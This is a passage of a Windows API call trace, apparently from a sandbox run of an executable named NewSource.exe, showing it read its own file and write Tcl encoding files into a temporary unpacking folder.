lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc") returned 70 [0036.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macthai.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.841] GetFileType (hFile=0x10c) returned 0x1 [0036.842] htonl (hostlong=0x44040000) returned 0x444 [0036.842] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.842] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x444, lpOverlapped=0x0) returned 1 [0036.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.843] CloseHandle (hObject=0x10c) returned 1 [0036.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.843] htonl (hostlong=0x30000000) returned 0x30 [0036.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.843] GetFileType (hFile=0x10c) returned 0x1 [0036.843] htonl (hostlong=0x13a65600) returned 0x56a613 [0036.844] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b5613, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.844] htonl (hostlong=0x30020000) returned 0x230 [0036.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x230) returned 0x550600 [0036.844] htonl (hostlong=0x30020000) returned 0x230 [0036.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.844] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.844] htonl (hostlong=0x47040000) returned 0x447 [0036.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.844] htonl (hostlong=0x30020000) returned 0x230 [0036.844] htonl (hostlong=0x47040000) returned 0x447 [0036.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.844] CloseHandle (hObject=0x10c) returned 1 [0036.844] GetLastError () returned 0x0 [0036.844] SetLastError (dwErrCode=0x0) [0036.844] GetLastError () returned 0x0 [0036.844] SetLastError (dwErrCode=0x0) [0036.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.844] GetFileType (hFile=0x10c) returned 0x1 [0036.844] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.845] CloseHandle (hObject=0x10c) returned 1 [0036.845] GetLastError () returned 0x0 [0036.845] SetLastError (dwErrCode=0x0) [0036.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.845] GetFileType (hFile=0x10c) returned 0x1 [0036.845] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.846] CloseHandle (hObject=0x10c) returned 1 [0036.846] GetLastError () returned 0x0 [0036.846] SetLastError (dwErrCode=0x0) [0036.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc") returned 73 [0036.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macturkish.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.846] GetLastError () returned 0x2 [0036.846] SetLastError (dwErrCode=0x2) [0036.846] GetLastError () returned 0x2 [0036.846] SetLastError (dwErrCode=0x2) [0036.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc", lpFilePart=0x0) returned 0x48 [0036.846] GetLastError () returned 0x2 [0036.846] SetLastError (dwErrCode=0x2) [0036.846] GetLastError () returned 0x2 [0036.846] SetLastError (dwErrCode=0x2) [0036.846] GetLastError () returned 0x2 [0036.846] SetLastError (dwErrCode=0x2) [0036.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc") returned 73 [0036.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macTurkish.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macturkish.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.846] GetFileType (hFile=0x10c) returned 0x1 [0036.846] htonl (hostlong=0x47040000) returned 0x447 [0036.846] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.846] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.847] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.847] CloseHandle (hObject=0x10c) returned 1 [0036.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.848] htonl (hostlong=0x30000000) returned 0x30 [0036.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.848] GetFileType (hFile=0x10c) returned 0x1 [0036.848] htonl (hostlong=0x43a85600) returned 0x56a843 [0036.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b5843, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.848] htonl (hostlong=0x2a020000) returned 0x22a [0036.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22a) returned 0x550600 [0036.848] htonl (hostlong=0x2a020000) returned 0x22a [0036.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.849] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.849] htonl (hostlong=0x47040000) returned 0x447 [0036.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.849] htonl (hostlong=0x2a020000) returned 0x22a [0036.849] htonl (hostlong=0x47040000) returned 0x447 [0036.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.849] CloseHandle (hObject=0x10c) returned 1 [0036.849] GetLastError () returned 0x0 [0036.849] SetLastError (dwErrCode=0x0) [0036.849] GetLastError () returned 0x0 [0036.849] SetLastError (dwErrCode=0x0) [0036.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.849] GetFileType (hFile=0x10c) returned 0x1 [0036.849] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.849] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.849] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.849] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.850] CloseHandle (hObject=0x10c) returned 1 [0036.850] GetLastError () returned 0x0 [0036.850] SetLastError (dwErrCode=0x0) [0036.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.850] GetFileType (hFile=0x10c) returned 0x1 [0036.850] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.850] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.850] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.850] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.850] CloseHandle (hObject=0x10c) returned 1 [0036.850] GetLastError () returned 0x0 [0036.850] SetLastError (dwErrCode=0x0) [0036.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc") returned 73 [0036.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macukraine.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.850] GetLastError () returned 0x2 [0036.850] SetLastError (dwErrCode=0x2) [0036.850] GetLastError () returned 0x2 [0036.850] SetLastError (dwErrCode=0x2) [0036.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc", lpFilePart=0x0) returned 0x48 [0036.851] GetLastError () returned 0x2 [0036.851] SetLastError (dwErrCode=0x2) [0036.851] GetLastError () returned 0x2 [0036.851] SetLastError (dwErrCode=0x2) [0036.851] GetLastError () returned 0x2 [0036.851] SetLastError (dwErrCode=0x2) [0036.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc") returned 73 [0036.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macUkraine.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macukraine.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.851] GetFileType (hFile=0x10c) returned 0x1 [0036.851] htonl (hostlong=0x47040000) returned 0x447 [0036.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.851] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.852] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.852] CloseHandle (hObject=0x10c) returned 1 [0036.853] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.853] htonl (hostlong=0x30000000) returned 0x30 [0036.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.853] GetFileType (hFile=0x10c) returned 0x1 [0036.853] htonl (hostlong=0x6daa5600) returned 0x56aa6d [0036.853] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b5a6d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.853] htonl (hostlong=0x39420000) returned 0x4239 [0036.853] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4239) returned 0x560088 [0036.853] htonl (hostlong=0x39420000) returned 0x4239 [0036.853] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.853] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.853] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.853] htonl (hostlong=0x86a30000) returned 0xa386 [0036.853] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa386) returned 0x5642d0 [0036.854] htonl (hostlong=0x39420000) returned 0x4239 [0036.854] htonl (hostlong=0x86a30000) returned 0xa386 [0036.854] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56e660 [0036.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56e660 | out: hHeap=0x530000) returned 1 [0036.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.855] CloseHandle (hObject=0x10c) returned 1 [0036.855] GetLastError () returned 0x0 [0036.855] SetLastError (dwErrCode=0x0) [0036.855] GetLastError () returned 0x0 [0036.855] SetLastError (dwErrCode=0x0) [0036.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.856] GetFileType (hFile=0x10c) returned 0x1 [0036.856] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.856] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.856] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.856] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.856] 